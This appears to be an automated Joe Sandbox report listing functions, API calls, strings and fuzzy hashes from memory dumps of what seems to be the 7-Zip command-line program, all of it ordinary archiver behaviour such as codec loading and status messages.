Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: 896b1a13a3235402a9f43f830cdbd9874e3ea6068ca8af8dc3adc48e049e7d34
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: 7051B222249A49D0CE60EF15F8557EA6720EBC67E4F441162BA5E477BACF2CC68BC701

Function 007BAB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 007BABC9
free.MSVCRT ref: 007BACF3
free.MSVCRT ref: 007BACFE
free.MSVCRT ref: 007BAD95
memmove.MSVCRT(?), ref: 007BADCB
free.MSVCRT ref: 007BAE70
free.MSVCRT ref: 007BAF7F

Part of subcall function 007B94A8: free.MSVCRT ref: 007B94DB
Part of subcall function 007B94A8: free.MSVCRT ref: 007B94E3
Part of subcall function 007B94A8: free.MSVCRT ref: 007B94F0
Part of subcall function 007B94A8: free.MSVCRT ref: 007B951C
Part of subcall function 007B94A8: free.MSVCRT ref: 007B9525
Part of subcall function 007B94A8: free.MSVCRT ref: 007B952D
Part of subcall function 007B94A8: free.MSVCRT ref: 007B953A

free.MSVCRT ref: 007BAEC2

Part of subcall function 0079339C: free.MSVCRT ref: 007933D7
Part of subcall function 0079339C: memmove.MSVCRT(00000000,?,?,00000000,007910A8), ref: 007933F2

Part of subcall function 007BA9FC: free.MSVCRT ref: 007BAA95
Part of subcall function 007BA9FC: free.MSVCRT ref: 007BAAC5
Part of subcall function 007BA9FC: free.MSVCRT ref: 007BAAD2

free.MSVCRT ref: 007BAEFA
GetProcAddress.KERNEL32 ref: 007BAF4D

Strings

SetCodecs, xrefs: 007BAF43
7z.dll, xrefs: 007BAE3C, 007BAE89
Formats\, xrefs: 007BAED1
Codecs\, xrefs: 007BAE99

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 394ff9574b194f86db9864d8b40a296a6876edca15e7f5d7566c190e77a9aee2
Instruction ID: 31c92c5b00a216126fab46d43432d973d1690056a6e5bf2a959f60648e5d1d73
Opcode Fuzzy Hash: 394ff9574b194f86db9864d8b40a296a6876edca15e7f5d7566c190e77a9aee2
Instruction Fuzzy Hash: DDB18E66209AC5E6CA20FB25F5813AFB760F385788F504112EB8E47B29DF7CD969C701

Function 007D1850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 007D1877
fputs.MSVCRT ref: 007D190A
LeaveCriticalSection.KERNEL32 ref: 007D1A44

Part of subcall function 007DB1C8: memset.MSVCRT ref: 007DB20D
Part of subcall function 007DB1C8: fputs.MSVCRT ref: 007DB232

fputs.MSVCRT ref: 007D194D

Part of subcall function 007926A0: fputs.MSVCRT ref: 007926C1

fputs.MSVCRT ref: 007D19CB
fputs.MSVCRT ref: 007D19EA
LeaveCriticalSection.KERNEL32 ref: 007D1A51

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

free.MSVCRT ref: 007D1A14

Strings

Can't allocate required memory!, xrefs: 007D19E3
Everything is Ok, xrefs: 007D1903
p, xrefs: 007D19A4
ERROR: , xrefs: 007D19C4
Sub items Errors: , xrefs: 007D1946

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 2cc58bddada0519040ac4fc79ebe370a0d8e08b52278b0a9666f8cd599c93609
Instruction ID: a5c2fa7d424537a5685e5a5209885e9a4372f4eb5c9fba24d906caf586193a70
Opcode Fuzzy Hash: 2cc58bddada0519040ac4fc79ebe370a0d8e08b52278b0a9666f8cd599c93609
Instruction Fuzzy Hash: 0A514C62745A81F2DB19AF25E9A43A96330FB84B50F888123DB2E47751CF3CE8A5D310

Function 007B38E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007B373C: free.MSVCRT ref: 007B37FB

memmove.MSVCRT ref: 007B396F
free.MSVCRT ref: 007B3986
free.MSVCRT ref: 007B3A11
_CxxThrowException.MSVCRT ref: 007B3A5F
free.MSVCRT ref: 007B3AD3

Part of subcall function 007B3864: free.MSVCRT ref: 007B3877
Part of subcall function 007B3864: free.MSVCRT ref: 007B3892
Part of subcall function 007B3864: free.MSVCRT ref: 007B389B
Part of subcall function 007B3864: free.MSVCRT ref: 007B38C6
Part of subcall function 007B3864: free.MSVCRT ref: 007B38CE

Strings

Duplicate archive path:, xrefs: 007B3C07
Cannot find archive, xrefs: 007B3A42

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: 0e324b5fcf06ff74cfc01f68caaf0094b622985f8662e005eb2f461a138266bf
Instruction ID: 4bb072728ba5855f88281e216c1c78cd20696c3a11c74d73a49c3962683118bb
Opcode Fuzzy Hash: 0e324b5fcf06ff74cfc01f68caaf0094b622985f8662e005eb2f461a138266bf
Instruction Fuzzy Hash: E8A17172315A84D2CE20EB16E89469EB3A1F7C5B90F504512EF8E47B69DF3CC996CB40

Function 007C42A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 007C4324
free.MSVCRT ref: 007C441A
free.MSVCRT ref: 007C4425

Strings

, xrefs: 007C4466

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: 9217f3ba69c3860f97dd2d0c7e0513805a01d2cb0f36f60198f80e75177fd356
Instruction ID: 90fc39f91adfb0c46477b8bf103416b13c06c3b241a549a683bddf36323186f7
Opcode Fuzzy Hash: 9217f3ba69c3860f97dd2d0c7e0513805a01d2cb0f36f60198f80e75177fd356
Instruction Fuzzy Hash: 75D13C33209AC4D6CB21DB29E4A46AEBB60F7D6B44F44501ADB8E47B29DF7CC559CB00

Function 007B91E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 007B9205
GetProcAddress.KERNEL32 ref: 007B9219
GetProcAddress.KERNEL32 ref: 007B922D
GetProcAddress.KERNEL32 ref: 007B9257
memmove.MSVCRT ref: 007B92F0
GetProcAddress.KERNEL32 ref: 007B931C

Strings

GetMethodProperty, xrefs: 007B9222
GetNumberOfMethods, xrefs: 007B9245
GetHashers, xrefs: 007B9315
CreateEncoder, xrefs: 007B920E
CreateDecoder, xrefs: 007B91FB

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 5bf2516e911d267475e9b5ab765cb209e4c459c9aa50498a2dfe27d9f16dd899
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: 9A415672615A85C6DB20DF25F88079DB3A5F789788F440126EB9E83768DF7CD949CB00

Function 007D1BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007D1CF9

Part of subcall function 007DB1C8: memset.MSVCRT ref: 007DB20D
Part of subcall function 007DB1C8: fputs.MSVCRT ref: 007DB232

Part of subcall function 00792300: fputc.MSVCRT ref: 00792311

fputs.MSVCRT ref: 007D1DEE
fputs.MSVCRT ref: 007D1F07
fputs.MSVCRT ref: 007D1F5C

Part of subcall function 007D171C: fputs.MSVCRT ref: 007D1744
Part of subcall function 007D171C: fputs.MSVCRT ref: 007D1758
Part of subcall function 007D171C: free.MSVCRT ref: 007D176B

Part of subcall function 00796618: FormatMessageW.KERNEL32 ref: 00796676
Part of subcall function 00796618: LocalFree.KERNEL32 ref: 00796698

Part of subcall function 00792320: free.MSVCRT ref: 0079237E
Part of subcall function 00792320: fputs.MSVCRT ref: 007923B8
Part of subcall function 00792320: free.MSVCRT ref: 007923C4

free.MSVCRT ref: 007D1F86

Strings

Can't allocate required memory, xrefs: 007D1F55
ERROR: , xrefs: 007D1F00
WARNINGS:, xrefs: 007D1DB4, 007D1DE7
ERRORS:, xrefs: 007D1CBF, 007D1CF2

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction ID: 46c5481bd412b7dccd234d233cbb5d1deeefd99dddd3bef9d7ae8415ab90a75e
Opcode Fuzzy Hash: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
Instruction Fuzzy Hash: 1BA15766745A84FACA29EF72E5943AE7331F744B80F884126DB5E07712DF6CE8A5C310

Function 007D949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 007D94EE
_CxxThrowException.MSVCRT ref: 007DA5E1
free.MSVCRT ref: 007DA5EF
free.MSVCRT ref: 007DA61C
free.MSVCRT ref: 007DA62E
free.MSVCRT ref: 007DA696
free.MSVCRT ref: 007DA69E
free.MSVCRT ref: 007DA6B0

Strings

Decoding ERROR, xrefs: 007D94E7

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: e25f43755af2c35033ae13fe26f57c270322cc6d1542e9735b60a389a3ffe7ff
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: 0831DC623599C5E1CE30AB28F9847AEA371F782780F444523CA9E47769DF3CC896C701

Function 007BA7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00796464: FreeLibrary.KERNELBASE(?,?,?,007964E7), ref: 00796475

Part of subcall function 00793404: free.MSVCRT ref: 00793431
Part of subcall function 00793404: memmove.MSVCRT ref: 0079344C

GetProcAddress.KERNEL32 ref: 007BA8CA
GetProcAddress.KERNEL32 ref: 007BA8E8
GetProcAddress.KERNEL32 ref: 007BA908
free.MSVCRT ref: 007BA985
free.MSVCRT ref: 007BA996

Strings

CreateObject, xrefs: 007BA8FD
SetCaseSensitive, xrefs: 007BA8DD
SetLargePageMode, xrefs: 007BA8BF

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: cdafe67cb6c9ee3d728baf64a7c09b1823f22300825e2c0a5db79eff40d32617
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: 1D41B426200B8497DF21EF25E85479E6360FB84B94F488525DF9E47B65EF3CE586C340

Function 007DB480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 007DB723
fputs.MSVCRT ref: 007DB743

Part of subcall function 007938C8: memmove.MSVCRT(0079A0E5), ref: 00793907

Part of subcall function 00793A64: memmove.MSVCRT ref: 00793AAA

GetTickCount.KERNEL32 ref: 007DB49E

Part of subcall function 00793404: free.MSVCRT ref: 00793431
Part of subcall function 00793404: memmove.MSVCRT ref: 0079344C

strcmp.MSVCRT ref: 007DB4E3
wcscmp.MSVCRT ref: 007DB502
strcmp.MSVCRT ref: 007DB568

Strings

. , xrefs: 007DB6AC

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: d204bf1a199cc9b845fb9483a3e52cdb6b2e3c9fd9bd341f5517a766a89c1444
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: 23A12576700A84E7CA19EF2AE68466D7371F794B84F818017DB5A47B11DF38E8B6C700

Function 007DE16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 007DE1C2
__setusermatherr.MSVCRT ref: 007DE211
_initterm.MSVCRT ref: 007DE225
__getmainargs.MSVCRT ref: 007DE256
_initterm.MSVCRT ref: 007DE26A
_cexit.MSVCRT ref: 007DE29D

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: 525640e428eb05aefc44b4ae9321135657ebc352bd99d058d9f6ccbedb5ad150
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: EA312B71A18B86C6DB41AF28E89035A7771FB84764F544237E6AE477A4DB3CE844CB10

Function 007DE15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 007DE1C2
__setusermatherr.MSVCRT ref: 007DE211
_initterm.MSVCRT ref: 007DE225
__getmainargs.MSVCRT ref: 007DE256
_initterm.MSVCRT ref: 007DE26A
_cexit.MSVCRT ref: 007DE29D

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: f51858b76f6a4d241ef054477a18e34849cb25d1183c2be20aa4d1c41d88a543
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 6E21F771A18B86C6EB019F28E95035A7771FB84764F504226E6AE477A4DF3CE845CB10

Function 007DE139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 007DE1C2
__setusermatherr.MSVCRT ref: 007DE211
_initterm.MSVCRT ref: 007DE225
__getmainargs.MSVCRT ref: 007DE256
_initterm.MSVCRT ref: 007DE26A
_cexit.MSVCRT ref: 007DE29D

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: f51858b76f6a4d241ef054477a18e34849cb25d1183c2be20aa4d1c41d88a543
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 6E21F771A18B86C6EB019F28E95035A7771FB84764F504226E6AE477A4DF3CE845CB10

Function 007DE1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 007DE1C2
__setusermatherr.MSVCRT ref: 007DE211
_initterm.MSVCRT ref: 007DE225
__getmainargs.MSVCRT ref: 007DE256
_initterm.MSVCRT ref: 007DE26A
_cexit.MSVCRT ref: 007DE29D

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: f51858b76f6a4d241ef054477a18e34849cb25d1183c2be20aa4d1c41d88a543
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 6E21F771A18B86C6EB019F28E95035A7771FB84764F504226E6AE477A4DF3CE845CB10

Function 007B4610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 007C3EE0: free.MSVCRT ref: 007C3F45

free.MSVCRT ref: 007B4633
free.MSVCRT ref: 007B463C
free.MSVCRT ref: 007B4646
free.MSVCRT ref: 007B4672
free.MSVCRT ref: 007B467A
free.MSVCRT ref: 007B4687
free.MSVCRT ref: 007B46BA

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: 5c1c75e8a63609a5ab86f376f63c288d25e93fd347acd53955d7737491716515
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: C9114223781A48D6CA24BE26E9556692310EB57BA47184261DF2D17796DF28C8738300

Function 007B419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007B41B9
free.MSVCRT ref: 007B41C5
free.MSVCRT ref: 007B41D1
free.MSVCRT ref: 007B41DD
free.MSVCRT ref: 007B41E6
free.MSVCRT ref: 007B41EF
free.MSVCRT ref: 007B41F8

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: f3be00b4fbd1e68935a5dc608835f9a40046f501899de6bfdc184ea32991ec05
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: 5011D722312A44D5CF14EF7AD8A966C7320FBC1F99B144662AF7E4B766CF28C8568344

Function 007C3A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 007C3C0C
free.MSVCRT ref: 007C3C17
free.MSVCRT ref: 007C3C22
free.MSVCRT ref: 007C3C77
free.MSVCRT ref: 007C3C82

Memory Dump Source

Source File: 0000000C.00000002.2746630033.0000000000791000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00790000, based on PE: true

Associated: 0000000C.00000002.2746603803.0000000000790000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746673427.00000000007DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746707068.00000000007FC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2746737266.00000000007FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_790000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: b8031194e9480ffef52113dd0395f66d42d287e5f132349f61c6f936b330cefa
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
